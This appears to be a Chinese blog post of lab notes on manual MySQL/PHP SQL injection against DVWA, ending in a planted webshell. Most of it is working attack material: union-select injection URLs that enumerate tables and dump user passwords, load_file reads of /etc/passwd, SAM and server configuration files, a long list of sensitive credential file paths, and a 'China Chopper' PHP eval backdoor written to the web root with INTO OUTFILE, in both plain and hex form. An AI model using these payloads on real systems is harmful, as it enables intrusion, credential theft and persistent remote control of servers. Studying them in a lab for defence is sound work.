Mysql+PHP手工获取webshell

Mysql+PHP手工获取webshell


只是大概流程,等梳理完后面的知识再做一遍

实验环境使用DVWA
	安全等级选择低

一、使用 order by 查询字段

	user id 输入’ order by 3+–+的时候,后端 SQL 查询语句如下:
		Mysql>select first_name,last_name from user where user_id=”order by 3+–+’
			因为不存在第三列会产生报错
	user id 输入’order by 2+–+的时候,后端查询语句如下
		Mysql>select first_name,last_name from user where user_id=”order by 2+–+’
			两个减号等于# 一个注释

二、使用联合查询来查询当前数据库、用户、版本信息等

	继续构造 union select 语句,来查询正在使用中的用户 user()、数据库 database()、数据库版本 version()、服务器操作系统@@version_compile_os,用以下语句
		1‘union select user(),database()+–-+
			得到数据库名 用户名
		‘union select session_user(),current_user()+–+
		‘union select 1,version()+–-+ 查询数据库的版本。

三、获取表名、字段、值

	查询 information_schema 数据库名下的表名 tables 的信息
		条件:
			table_schema=0x64767761 数据名为 dvwa
				information_schema.tables :information_schema 数据库名下表名 tables 记录所有数据库名下的所有表名信息的表
					http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1' UNION SELECT1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761+--+&Submit=Submit
						0x64767761为DVWA16进制
	查询表名 users 下的所有列名信息(注:information_schema.columns 是记录所有数据库名下的所有列名信息的表)
		http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1' UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+&Submit=Submit
	查询列名 user、password 下的所有用户名和密码
		http://192.168.1.18:8080/dvwa/vulnerabilities/sqli/?id=1' UNION SELECT user,password from users+--+&Submit=Submit

四、Mysql root 用户密码存储位置

	数据库最高权限用户是 root 密码保存在 mysql 数据库的 user 表中,密码是采用 mysql5 特有的加密,通过 cmd5 网站进行解密或通过 cain 等这类专业软件可以对 mysql hash 破解.所以对数据库做安全的时候无论如何不能给网站 root 权限,一定要给一个普通用户权限。
		为了安全不要使用root权限,自己新建一个账号,配置一个权限

五、对服务器文件进行读写操作

	使用 into outfile 需要有以下条件
		1、需要知道远程目录(有可能是默认路径)
		2、需要远程目录有写权限
		3、需要数据库开启 secure_file_priv
			数据库如何开启 secure_file_priv
				在 mysql 安装目录的 my.ini 文件中的[mysqld]添加 secure_file_priv = ' ';
					然后以 管理员身份运行 cmd,进入 mysql/bin 停止 mysql 服务 net stop mysql,重新启动 mysql 服务 net start mysql,
						登入 mysql mysql -u root -p enter password: password,执行命令 show variables like '%secure%';查看 secure_file_priv 的值(这里已经将secure_file_priv 的值设为空,但正常显示为 NULL 和文件路径)
	使用联合查询语句构造,利用注入读取/ect/passwd 文件(linux 系统)
		‘UNION SELECT 1, load_file(/etc/passwd) +–+
	使用联合查询语句构造,利用注入读取 c:\1.txt (Windows 系统)
		‘ UNION SELECT 1, load_file(‘c:\\1.txt’) +–+ 或者
			注: “\”(编程里面"\"转义)
		‘ union select 1, load_file(‘c:/1.txt’) +–+
	实战
		http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%201,load_file('c:\\boot.ini')+--+&Submit=Submit( 想读取boot.ini这个文件)
			如果出现以下情况
				Query Errot:SELECT CID,TITLE FROM CMS_CONTENTINDEX WHERE TID=25950\’AND 1=2 UNION SELECT LOAD_FILE(’C:\\BOOT.INI\’),2
					在“php.ini"配置文件中 magic_quotes_gpc 为 on 或在接受参数的时候用了addslashes()涵数,单引号就会被自动转义成\',因此函数未能正确执行功能.要绕开此过滤,可将 c:\boot.ini 转换成十六进制,转换后为:0x633A5C5C626F6F742E696E69.再提交如下链接。
						http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%201,load_file(0x633A5C5C626F6F742E696E69)+--+&Submit=Submit
						或 http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1 and 1=2 union select 1,load_file(0x633A5C5C626F6F742E696E69)+--+&Submit=Submit
						对服务器进行写操作
							http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%20'568311803',2 into outfile 'c:/muma.txt'+--+&Submit=Submit
								http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%200x3C3F70687020406576616C28245F504F53545B2763686F70706572275D293B3F3E,2 into outfile 'c:/muma.txt'+--+&Submit=Submit
									为什么要把一句话木马转化为十六进制,因为一句话木马里面也有单引号,再用单引号引起来会容易造成混淆。所以得出结论:如果用编码就不要用单引号,用单引号就不要用编 码
								x3C3F70687020406576616C28245F504F53545B2763686F70706572275D293B3F3E
									是菜刀的一句话
										向服务器指定位置写入木马

六、怎么获取 Web 路径

	不管是 root 权限还是普通用户权限要对服务器进行读写我们需要网站路径才能得到webshell
		(1)一般可以在变量后面加上单引号、改变参数类型(字符型数字型)、增加参数位数等来造成 MySQL 数据库出错,爆出 Web 物理路径。
		(2)通过扫描器扫 web 服务器遗留文件 php.php、info.php、phpinfo.php、test.php
		(3)利用搜索引擎来查找 Web 目录。搜索引擎有时候会对网站页面进行快照抓取,包括脚本出错页面,因此可利用搜索引擎查找网站的出错信息,从而获得网站的物理路径。可在 Google 或 百度 中搜索 “ mysql site:***.com”或“warning site:***.com,error site:***.com.cn”等。这里使用“error site:***.com”关键字进行查询,从搜索结果中得到了网站的物理路径为“E:\pujing2015”。
		(4) 漏洞暴路径,例如通过网站后台查看网站 Web 路径(需要root账号密码)、CC 攻击暴路径等.
		(5)通过(iss apache等中间件)配置文件找网站路径
			在百度里面输入***配置文件,如:IIS6.0 配置文件,可以找到: C:\\WINDOWS\\system32\\inetsrv\\MetaBase.xml 和 C:\WINDOWS\system32\inetsrv\MetaBase.bin 这两个配置文件(小技巧:在百度里面输入:load_file()常用敏感信息,就可以找到别人入侵过程中总结的常用敏感文件路径)
				http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%201,load_file(C:\\WINDOWS\\system32\\inetsrv\\MetaBase.xml)+--+&Submit=Submit
					文件路径转换成16位
						右键查看源代码

七、利用 sql 注入写入 webshell

	假设我们通过 phpinfo 文件知道了网站的物理路径,接下来我们通过使用 union select 语句来写入 webshell.写入需要你有写入权限等。
		‘ union select 1,’‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ +–+ 
			//这种 反斜找扛/本地没测试,大家测试一下,推见大家用两个反\\方法
				例如: http://192.168.0.105:8080/dvwa/vulnerabilities/sqli/?id=1' union select "<?php @eval($_POST['chopper']);?>",2 into outfile"c:\\php\\htdocs\\dvwa\\123.php"+--+&Submit=Submit 
					将一句话木马写到这个目录下,通过中国菜刀进行服务器连接

八、MysQL 获取 web 路径方法总结

	在 MySQL 注入中,利用 load_file()函数读取网页文件源代码时,首先需要获得网站的Web 路径。网站 Web 路径可以通过以下几种方法获得。
		1、直接在出错信息中显示 Web 路径
			在注入点处加单引号,或者修改提交变量类型,让查询语句出错,从出错信息中往往可以爆出网站 Web 物理路径
		2、load_file(char(47))列出 freebsd 目录
			由于 load_file()函数相当于 Linux 系统中的 cat()函数,在某些 FreeBSD、Sunos 系统用“cat/”命令可以列出根目录。字符“/”的 ASCII 码是 47,在 MySQL 注入中,可利用load_file(char(47))直接列出 FreeBSD 等*inux 系统的文件夹目录。
		3、"/etc/passwd”文件中的工作目录
			从中可看到系统中有 apache 用户,其工作目录为“/var/www/ "有些网站会写上具体路径 o 而且网站用户名有的就是对应/etc/passwd 里面的用户或文件夹名等等。
		4、读取 apache 的配置文件“httpd.conf”,获取 Web 路径
			PHP 网站程序通常都是通过 apache 提供服务的,apache 的配置文件“httpd.conf"中包含了网站物理路径,可通过读取该文件获得 Web 路径。
				在*nix 系统中,可以利用 laod_file()尝试读取以下路径查看"apache”配置文件。
					/etc/init.d/apache
					/etc/init.d/apache2
					/etc/httpd/httpd.conf
					/etc/apache/apache.conf
					/etc/apache/httpd.conf
					/etc/apache2/apache2.conf
					/etc/apache2/httpd.conf
					/usr/local/apache2/conf/httpd.conf
					/usr/local/apache/conf/httpd.conf
					/opt/apache/conf/httpd.conf
					/home/apache/httpd.conf
					/home/apache/conf/httpd.conf
					/etc/apache2/sites-available/default
				在 Windows 系统中,可以尝试读取以下路径查看 apache 配置文件。
					C:\Program Files\Apache Group\Apache\conf\httpd.conf
					C:\Program Files\Apache Group\Apache2\conf\httpd.conf
					C:\Program Files\Apache Software Foundation\Apache2.2\conf\httpd.conf
					C:\apache\confthttpd.conf
					也可以将换盘符 C 换为 D, E, F 等进行尝试。
		5、利用 load_file()读取各种配置文件
			在 MySQL 注入中,load_file()函数除了用于读取网页脚本程序源代码外,还可以用来读取其他各种敏感的配置文件,方便获得 WebShell 或进行提权。
				(1)load_file()读取服务器配置文件
					在前面讲解了利用 load_file()函数读取“apache"配置文件,从而获得 Web 物理路径的方法。此外,还可利用此函数读取网站中的其他重要的配置文件,获得更多敏感的信息。
						/user/local/app/apache2/conf/extra/http-vhosts.conf //虚拟网站设置
						/user/local/app/php5/lib/php.ini //php 相关设置
						/etc/sysconfig/iptables //防火墙规则策略
						/etc/rsyncd.conf //同步程序配置
						/etc/sysconfig/network-script/ifcfg-eth0 //查看 IP
						/etc/my.cnf //Mysql 的配置文件
						/etc/redhat-release //系統版本
						/etc/issue //系統版本
						/etc/issue.net //系統版本
						/usr/local/resin/conf/resin.conf //查看 Linux 系统配置的 JSP 虚拟主机
						/usr/local/resin-pro-3.0.22/conf/resin.conf
						/usr/local/resin-3.0.22/conf/resin.conf //查看 RESIN 3.0.22 配置文件
						c:\mysql\data\mysql\user.MYD //存储了“mysql.user”表中的数据库链接密码
						c:\program files\rhinosoft.com\serv-u\servudaemon.ini
							c:\program files\serv-u\servudaemon.ini //FTP 软件配置文件,存储虚拟主机网站路径和密码
						c:\program files\mysql\my.ini 
							c:\windows\my.ini //Mysql 配置文件
						c:\windows\system32\inetsrv\metabase.xml //IIS 配置文件
						c:\resin\conf\resin.conf
							c:\resin-3.0.14\conf\resin.conf //查看 JSP 网站“resin”文件配置信息
				(2)load_file()读取二进制文件
					除了读取文本类型的文件外,load_file()还可以用来读取系统中的二进制文件,例如各种密码存储配置文件。
						c:\windows\repair\sam //windows 系统初次安装时的密码
						c:\program files\serv-u\servuadmin.exe //serv-U 6.0 及之前版本的管理员密码文件
						c:\program files\rhinosoft.com\servudaemo.exe
							c:\documents and setting\all users\application data\symantec\pcanywhere\*.cif 
								//pcanywhere 登陆密码文件
					只要 MySQL 注入点处的账号权限足够,那么 loadee_file()函数就可以读取任何文件。
						但是需要注意的是,由于浏览器编码不能完全显示二进制编码文件,因此需要使用 hex()函数将 load_file()函数读出的二进制文件转为十六进制显示在网页上。再将网页中显示的十六进制代码复制到本地后,通过转换成二进制文件,才能加以利用。
				(3)load_file()函数读取文件时不可忽略的问题
					读取网页源代码时在网页中未能正常显示一些代码内容,这是由于网页源代码中包含一些特殊的字符,如“<”、“>”之类的,因此导致在返回源代码内容时显示为了网页效果,而不是真实的代码内容。因此,除了通过查看源代码外,还可以考虑在返回代码时替换一些特殊字符,从而令网页中正常显示源文件代码内容。
						可在 load_file()函数使用时调用如下形式。replace(load_file(char(文件路径十六进制代码)),char(60),char(32))
							这句代码的意思是,将返回文件内容中的“<”替换成空格,这样就可以屏蔽网页效果,从而查看到真实的网页内容了
								例如
									http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1'%20union%20select replace(load_file(0x633A5C5C7068705C5C6874646F63735C5C647677615C5C696E6465782E706870),char(60),char(32)),2+--+&Submit=Submit
发布了63 篇原创文章 · 获赞 8 · 访问量 2507

猜你喜欢

转载自blog.csdn.net/weixin_43079958/article/details/105311966